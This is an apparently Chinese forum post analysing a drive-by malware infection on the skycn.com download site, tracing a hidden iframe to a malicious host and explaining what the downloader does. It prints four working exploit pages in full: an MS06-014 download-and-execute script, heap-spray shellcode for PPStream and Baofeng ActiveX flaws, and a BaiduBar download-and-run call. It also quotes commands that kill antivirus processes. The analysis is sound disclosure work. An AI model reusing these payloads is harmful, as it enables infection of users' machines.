|
天空软件站是中国最大的软件下载站之一,如今它被挂马了,那么想必已经有几千万人中招了。Monyer并不是危言耸听,下面的分析将证明这不是个笑话。
! Q: e+ {' x2 q6 U2 h 今天偶尔上天空看我的UDisk时(重要提醒,天空有病毒不要打开,晕了!),发现Maxthon居然弹出程序运行警告,提示我在c盘下有个c.exe文件要运行,不知道其他人遇到这种情况怎么想,反正从我电脑上出现便成了一件恐怖的事情。看了看任务管理器,内存已经增加了几百兆,很显然被溢出了。再看看C盘的根目录,一个c.exe文件正躺在那里(这说明病毒文件还没有运行,如果运行了,估计你就什么都看不到了。)。于是便开始了以下寻马之旅。3 K+ c+ T- i4 g6 l
; g; @1 p# S# K+ s; Z
通过对天空站的分析,被挂马的页面仅存在于软件下载页面。再通过对加进的javascript和iframe的排除,最后落定被插入的恶意代码为:) [' M2 ]. I9 X( T. E
<iframe name=import_frame width=1height=1 src=http://iplog.skycn.com/wherefrom.php?id=32336frameborder=no></iframe>
5 m/ {- z' Z) j9 C它将框架的宽高设为1像素即肉眼不可见。下载whereform.php文件发现里面有另外的代码:' n& r1 L3 ?: {5 }- v4 T3 X! W4 N
<iframe src=http://www.ip17173.cn/index.html?419891509 width=100 height=0></iframe>; l9 M, q0 m Y, K
又一个框架,直接访问将看到两个计数器,挺有意思6 [7 e g t7 a2 j
1 {: x4 {2 X* X3 B6 \. L, H7 F
继续下载ip17173.cn这个站点上的index.html文件打开,里面是一堆加密的javascript代码,这是件好事情——小偷偷东西通常都把脸蒙起来。
" J2 }* `! v+ M- q. G% G" ^2 L. a简单看了一下,虽然js被加密得面目全非,但好在解密函数还在,那么一切都变得简单,将document.write换成alert即可。运行一下index.html,弹出第二个alert窗口便是木马的所在了
, t6 [: h% C+ O( |) x个iframe框架,看来应该对应9个不同的木马哦。用flashget一齐下载,发现有效的仅是vip1.htm~vip4.htm这四个页面,估计剩下的是预留出来的吧。+ ~: X3 T( K" r$ H& |
对这四个页面依次做代码分析便有些冒冷汗了。以下是分析结果
% M) g# T+ K/ R" G) n: p
1 `' E7 V" H. ?5 d# A% y' j1 f) X, a- ahttp://www.ip17173.cn/vip1.htm MS-06014 down.exe c:\1.exe% l* Q4 C4 K: { s
<script>url2="http://www.ip17173.cn/down.exe";url1="http://www.ip17173.cn/run.js";try{varado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");varxml=ado.CreateObject("Microsoft.XML"+"HTTP","");varas=ado.createobject("Adodb.Stream","");xml.Open("GET",url1,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path1="..//ntuser.js";as.savetofile(path1,2);as.close();xml.Open("GET",url2,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path2="C:\\1.exe";as.savetofile(path2,2);as.close();varshell=ado.createobject("Shell.Application","");shell.shellExecute(path1,"","","open",0);}catch(e){};</script><body>查无此页<html> - a+ f5 {; N$ e2 p) p8 u0 G
http://www.ip17173.cn/vip2.htm ppstream down.exe c:\c.exe
) L j% w5 a& z y<html><body><objectid="pingfan"classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object><script>varshellcode=unescape("%u00E8%u0000%u6A00%uEB03%u7E21%uE2D8%u9873%u8AFE%u8E0E%u0E4E%u55EC%u4C52%u4F4D%u004E%u3600%u2F1A%u6370%u5C3A%u2E63%u7865%u0065%u5F59%u67AF%uA164%u0030%u408B%u8B0C%u1C70%u8BAD%u0868%u8B51%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uF238%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u59AB%uBCE2%u0F8B%uF980%u7463%u570A%uD0FF%uAF95%u6AAF%uEB01%u52AC%u5752%u8F8D%u10DB%u0040%uE981%u104E%u0040%u5251%uD0FF%u016A%uFF57%uEC57%u57FF%u90E8%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");bigblock=unescape("%u9090");headersize= 20;slackspace = headersize+shellcode.length;while ( bigblock.length< slackspace ) bigblock+=bigblock;fillblock = bigblock.substring(0,slackspace);block=bigblock.substring(0, bigblock.length-slackspace);while(block.length+ slackspace < 0x40000) block =block+ block + fillblock;memory =new Array();;;;memory;for (x=0; x<400;x++) memory[x] = block +shellcode;var buffer ='\x0a';while(buffer.length < 500) buffer+='\x0a\x0a\x0a\x0a';pingfan.Logo=buffer;</script></body></html>. |6 }1 g" h) C3 N3 f3 C
http://www.ip17173.cn/vip3.htm 暴风 down.exe c:\u.exe
6 Z0 [: v! F- ^5 a<html>+ [( {. T9 d+ W
<object classid="clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB" id='target'></object>( K& N8 j i' L% X' `# Q" A% l; y
<body>& T# B- F ]3 H F- J7 s
<SCRIPT language="javascript">8 r3 A7 e5 X" m( J" S8 K4 p! M4 h
varshellcode=unescape("%u9090%u9090%uEFE9%u0000%u5A00%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uD88B%u738B%u8B3C%u1E74%u0378%u8BF3%u207E%uFB03%u4E8B%u3314%u56ED%u5157%u3F8B%uFB03%uF28B%u0E6A%uF359%u74A6%u5908%u835F%u04C7%uE245%u59E9%u5E5F%uCD8B%u468B%u0324%uD1C3%u03E1%u33C1%u66C9%u088B%u468B%u031C%uC1C3%u02E1%uC103%u008B%uC303%uFA8B%uF78B%uC683%u8B0E%u6AD0%u5904%u6AE8%u0000%u8300%u0DC6%u5652%u57FF%u5AFC%uD88B%u016A%uE859%u0057%u0000%uC683%u5613%u8046%u803E%uFA75%u3680%u5E80%uEC83%u8B40%uC7DC%u6303%u646D%u4320%u4343%u6643%u03C7%u632F%u4343%u03C6%u4320%u206A%uFF53%uEC57%u04C7%u5C03%u2E61%uC765%u0344%u7804%u0065%u3300%u50C0%u5350%u5056%u57FF%u8BFC%u6ADC%u5300%u57FF%u68F0%u2451%u0040%uFF58%u33D0%uACC0%uC085%uF975%u5251%u5356%uD2FF%u595A%uE2AB%u33EE%uC3C0%u0CE8%uFFFF%u47FF%u7465%u7250%u636F%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574%u446D%u7269%u6365%u6F74%u7972%u0041%u6957%u456E%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4C00%u616F%u4C64%u6269%u6172%u7972%u0041%u7275%u6D6C%u6E6F%u5500%u4C52%u6F44%u6E77%u6F6C%u6461%u6F54%u6946%u656C%u0041%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");
; S. l3 ]; j4 I# r8 Q</script>8 z; _6 E5 G3 r7 d$ ?8 U! ~( {4 C! f
<SCRIPT language="javascript">
- |2 o* W8 w$ cvar bigblock = unescape("%u9090%u9090");
. ^) M. ?3 b3 Q6 }* F# u( S+ tvar headersize = 20; C6 b# O9 d* L
var slackspace = headersize+shellcode.length;
( g& [2 G$ I; N* X$ kwhile (bigblock.length<slackspace) bigblock+=bigblock;
1 I- W) [; H# _fillblock = bigblock.substring(0, slackspace);6 _1 V& g% Y: }) c5 z! x
block = bigblock.substring(0, bigblock.length-slackspace);
. ]- t3 J/ ~' B. mwhile(block.length+slackspace<0x40000) block = block+block+fillblock;! U7 I0 y8 r6 |. y
memory = new Array();% X8 K) y2 ]# r2 M5 s
for (x=0; x<300; x++) memory[x] = block + shellcode;
8 @+ r5 R* d3 ?1 C% v* ^% Tvar buffer = '';
- E0 l/ v$ {0 p. s* K; |0 Kwhile (buffer.length < 4057) buffer+='\x0a\x0a\x0a\x0a';
9 H( b2 N* k- k( G8 rbuffer+='\x0a';0 G9 k6 s2 F3 E. m( g2 E
buffer+='\x0a';
9 `1 }# Z! w" ^. G5 Z" e2 w4 t( Mbuffer+='\x0a';# G; @2 b8 O( c% ^" r1 K
buffer+='\x0a\x0a\x0a\x0a';
0 k% ~; d% d6 pbuffer+='\x0a\x0a\x0a\x0a';
# b) B: {: e1 _, [- Qtarget.rawParse(buffer);
% c- L3 _8 e( s- r( {</script>5 q0 {9 U/ w& g5 I1 x5 A' g8 c
</body>/ V! c( D5 |. M b$ k7 Q7 {$ e
</html>; o% }! X; H( @, C0 _
http://www.ip17173.cn/vip4.htm BaiDuBar calc.cab down.exe ' B ^2 ^' l8 U( r
<script># n+ a S( U- ` J7 B, M( l
function DowndloadCalcAndRun()1 Z/ X/ `2 |$ v( z5 Z9 A0 F
{, V: {- Z( J4 z4 I) C6 _
com.DloadDS("http://www.ip17173.cn/calc.cab", "down.exe", 00);) P: f, J" Y7 q6 j1 C! c
}5 g7 R% M4 c+ W; e( {( s
</script>" I3 c: K: Y" G# {
</head>
" r) z. D9 ~8 v7 R4 o; T<OBJECT ID = "com" CLASSID = "CLSID:{A7F05EE4-0426-454F-8013-C41E3596E9E9}">" {7 r' n% T( {0 i
</OBJECT>
* i% r- x9 V U/ |<script>
- _. b' G4 [! I" JDowndloadCalcAndRun()
2 }5 U9 l# {( {</script>
# Z1 a D7 U% d6 M<body>欢迎使用<html>
3 u( x8 K4 g- X$ F& m6 k- O; A4个溢出漏洞,在前几天还有3个是0day!
[" i+ {( y1 }8 a. @. f一个是ms-06014漏洞,会将其站点的down.exe文件保存到c:\1.exe并运行& n8 c+ c$ Z$ i" {! E- M+ N
一个是ppstream堆栈溢出,将同样文件保存到c:\c.exe并运行3 h9 m. X ^* B" r
一个是暴风影音溢出漏洞,保存到c:\u.exe并运行% v: R& |9 ^' s2 l
一个是baidubar的溢出漏洞,将calc.cab 保存到down.exe并运行4 T6 b7 t+ a: h9 D ~$ C8 P8 n, c
(这些文件运行后会自我删除,然后关闭杀毒软件,并自动下载其他木马或病毒。)" ~0 @1 y& Y8 A8 n1 z! v
其中ppstream直到如今仍没有官方补丁。
; @% N/ A) _0 e w& Adown.exe文件一看名便知是个下载者了,下载下来传到virscan.org不禁又汗然一把( J% n6 q, v1 i' Z
AVG、巴斯基、江民瑞星金山三大支柱、诺顿、趋势,全部开绿灯。即使熊猫来一个suspiciousfile,也顶多因为其是fsg2.0壳而报个可疑文件,这意味着它是不会主动删除的。麦咖啡虽然给出个pws,但也仅仅是个low的风险等级。所以几乎所有市面上常见的杀毒软件全部“罢工”。
# C. V& Y5 f) j2 ]) K& @( W8 ?3 cdown.exe会下载21个文件。, D2 v8 D" J% ^
http://www.ip17173.cn/down/1.exe - 20.exe、down.exe
& Y' J1 z) H! L, L# x1 q分别保存到C:\Program Files\Internet Explorer\1.exe - 20.exe、down.exe 运行0 [& `8 Z" e+ j! N9 n7 B7 `. R" Q
还会执行
' Y+ Y9 ?, Y' j- X& }cmd /c taskkill /im 360safe.exe /f
4 b, s- }% H w) U+ Y* O8 d: Icmd /c date 2000-01-01
" J; m) w7 G( |+ B/ o
9 L5 T* l3 T$ _5 \* l5 {" g, [$ T然后还有一个删除自身的批处理。
' v* ]' r, R3 A; ~; |
& f& I* F9 X- g1 k# H; N+ g3 l% N还有其他的比如放到启动项,改名字什么的。
5 n0 f' \1 C" i' f9 U2 _感谢鬼仔提供信息!, u8 T# C2 l" F2 b, J/ B, K3 r; Z
|
|